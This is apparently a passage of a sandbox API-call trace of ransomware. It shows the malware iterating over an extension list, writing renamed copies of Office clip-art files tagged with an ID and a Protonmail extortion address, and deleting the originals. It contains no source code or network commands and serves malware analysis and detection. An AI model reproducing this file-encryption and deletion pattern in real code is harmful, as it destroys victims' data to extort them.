	[0080.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.210] lstrlenW (lpString=".dbf") returned 4
	[0080.210] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.210] lstrlenW (lpString=".1cd") returned 4
	[0080.210] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73
	[0080.210] lstrlenW (lpString=".jpg") returned 4
	[0080.210] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.211] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0080.211] lstrlenW (lpString="AG00004_.GIF") returned 12
	[0080.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.213] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9024) returned 1
	[0080.213] CloseHandle (hObject=0x374) returned 1
	[0080.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220
	[0080.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0080.214] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.214] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0080.214] GetLastError () returned 0x0
	[0080.214] ReadFile (in: hFile=0x374, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x2340, lpOverlapped=0x0) returned 1
	[0080.216] WriteFile (in: hFile=0x384, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2350, lpOverlapped=0x0) returned 1
	[0080.217] ReadFile (in: hFile=0x374, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.217] WriteFile (in: hFile=0x384, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.217] SetEndOfFile (hFile=0x384) returned 1
	[0080.217] CloseHandle (hObject=0x384) returned 1
	[0080.218] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.218] SetEndOfFile (hFile=0x374) returned 1
	[0080.228] CloseHandle (hObject=0x374) returned 1
	[0080.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 1
	[0080.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.228] lstrlenW (lpString=".doc") returned 4
	[0080.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.229] lstrlenW (lpString=".docx") returned 5
	[0080.229] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.229] lstrlenW (lpString=".pdf") returned 4
	[0080.229] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.229] lstrlenW (lpString=".xls") returned 4
	[0080.229] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.229] lstrlenW (lpString=".xlsx") returned 5
	[0080.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.229] lstrlenW (lpString=".ppt") returned 4
	[0080.229] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.229] lstrlenW (lpString=".zip") returned 4
	[0080.229] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.229] lstrlenW (lpString=".rar") returned 4
	[0080.229] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.229] lstrlenW (lpString=".bz2") returned 4
	[0080.229] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.229] lstrlenW (lpString=".7z") returned 3
	[0080.229] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.229] lstrlenW (lpString=".dbf") returned 4
	[0080.229] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.229] lstrlenW (lpString=".1cd") returned 4
	[0080.229] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.229] lstrlenW (lpString=".jpg") returned 4
	[0080.229] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.229] lstrlenW (lpString=".doc") returned 4
	[0080.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.229] lstrlenW (lpString=".docx") returned 5
	[0080.230] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.230] lstrlenW (lpString=".pdf") returned 4
	[0080.230] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.230] lstrlenW (lpString=".xls") returned 4
	[0080.230] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.230] lstrlenW (lpString=".xlsx") returned 5
	[0080.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.230] lstrlenW (lpString=".ppt") returned 4
	[0080.230] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.230] lstrlenW (lpString=".zip") returned 4
	[0080.230] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.230] lstrlenW (lpString=".rar") returned 4
	[0080.230] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.230] lstrlenW (lpString=".bz2") returned 4
	[0080.230] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.230] lstrlenW (lpString=".7z") returned 3
	[0080.230] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.230] lstrlenW (lpString=".dbf") returned 4
	[0080.230] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.230] lstrlenW (lpString=".1cd") returned 4
	[0080.230] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0080.230] lstrlenW (lpString=".jpg") returned 4
	[0080.230] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.230] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0080.230] lstrlenW (lpString="AG00011_.GIF") returned 12
	[0080.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.941] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7216) returned 1
	[0080.941] CloseHandle (hObject=0x324) returned 1
	[0080.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220
	[0080.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.941] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.941] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.942] GetLastError () returned 0x0
	[0080.942] ReadFile (in: hFile=0x324, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1c30, lpOverlapped=0x0) returned 1
	[0080.944] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1c40, lpOverlapped=0x0) returned 1
	[0080.945] ReadFile (in: hFile=0x324, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.945] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.945] SetEndOfFile (hFile=0x390) returned 1
	[0080.948] CloseHandle (hObject=0x390) returned 1
	[0080.949] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.949] SetEndOfFile (hFile=0x324) returned 1
	[0080.951] CloseHandle (hObject=0x324) returned 1
	[0080.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".doc") returned 4
	[0080.952] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.952] lstrlenW (lpString=".docx") returned 5
	[0080.952] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.952] lstrlenW (lpString=".pdf") returned 4
	[0080.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString=".xls") returned 4
	[0080.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString=".xlsx") returned 5
	[0080.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.952] lstrlenW (lpString=".ppt") returned 4
	[0080.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".zip") returned 4
	[0080.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString=".rar") returned 4
	[0080.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.952] lstrlenW (lpString=".bz2") returned 4
	[0080.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.952] lstrlenW (lpString=".7z") returned 3
	[0080.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".dbf") returned 4
	[0080.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.952] lstrlenW (lpString=".1cd") returned 4
	[0080.953] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.953] lstrlenW (lpString=".jpg") returned 4
	[0080.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.953] lstrlenW (lpString=".doc") returned 4
	[0080.953] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.953] lstrlenW (lpString=".docx") returned 5
	[0080.953] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.953] lstrlenW (lpString=".pdf") returned 4
	[0080.953] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.953] lstrlenW (lpString=".xls") returned 4
	[0080.953] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.953] lstrlenW (lpString=".xlsx") returned 5
	[0080.953] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.953] lstrlenW (lpString=".ppt") returned 4
	[0080.953] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.953] lstrlenW (lpString=".zip") returned 4
	[0080.953] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.953] lstrlenW (lpString=".rar") returned 4
	[0080.953] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.954] lstrlenW (lpString=".bz2") returned 4
	[0080.954] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.954] lstrlenW (lpString=".7z") returned 3
	[0080.954] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.954] lstrlenW (lpString=".dbf") returned 4
	[0080.954] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.954] lstrlenW (lpString=".1cd") returned 4
	[0080.954] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68
	[0080.954] lstrlenW (lpString=".jpg") returned 4
	[0080.954] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.954] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0080.954] lstrlenW (lpString="AG00038_.GIF") returned 12
	[0080.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.954] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3251) returned 1
	[0080.954] CloseHandle (hObject=0x324) returned 1
	[0080.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220
	[0080.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0080.955] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.955] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0080.956] GetLastError () returned 0x0
	[0080.956] ReadFile (in: hFile=0x324, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xcb3, lpOverlapped=0x0) returned 1
	[0080.959] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xcc0, lpOverlapped=0x0) returned 1
	[0080.960] ReadFile (in: hFile=0x324, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.960] WriteFile (in: hFile=0x390, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.960] SetEndOfFile (hFile=0x390) returned 1
	[0080.961] CloseHandle (hObject=0x390) returned 1
	[0080.962] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.962] SetEndOfFile (hFile=0x324) returned 1
	[0080.963] CloseHandle (hObject=0x324) returned 1
	[0080.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1
	[0080.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.964] lstrlenW (lpString=".doc") returned 4
	[0080.964] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.964] lstrlenW (lpString=".docx") returned 5
	[0080.964] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.964] lstrlenW (lpString=".pdf") returned 4
	[0080.964] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.964] lstrlenW (lpString=".xls") returned 4
	[0080.964] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.964] lstrlenW (lpString=".xlsx") returned 5
	[0080.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.964] lstrlenW (lpString=".ppt") returned 4
	[0080.964] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.964] lstrlenW (lpString=".zip") returned 4
	[0080.964] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.964] lstrlenW (lpString=".rar") returned 4
	[0080.964] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.964] lstrlenW (lpString=".bz2") returned 4
	[0080.964] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.964] lstrlenW (lpString=".7z") returned 3
	[0080.964] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.964] lstrlenW (lpString=".dbf") returned 4
	[0080.964] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.964] lstrlenW (lpString=".1cd") returned 4
	[0080.964] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.964] lstrlenW (lpString=".jpg") returned 4
	[0080.964] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.965] lstrlenW (lpString=".doc") returned 4
	[0080.965] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.965] lstrlenW (lpString=".docx") returned 5
	[0080.965] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.965] lstrlenW (lpString=".pdf") returned 4
	[0080.965] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.965] lstrlenW (lpString=".xls") returned 4
	[0080.965] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.965] lstrlenW (lpString=".xlsx") returned 5
	[0080.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.965] lstrlenW (lpString=".ppt") returned 4
	[0080.965] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0080.965] lstrlenW (lpString=".zip") returned 4
	[0080.965] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.965] lstrlenW (lpString=".rar") returned 4
	[0080.965] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.965] lstrlenW (lpString=".bz2") returned 4
	[0080.965] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.965] lstrlenW (lpString=".7z") returned 3
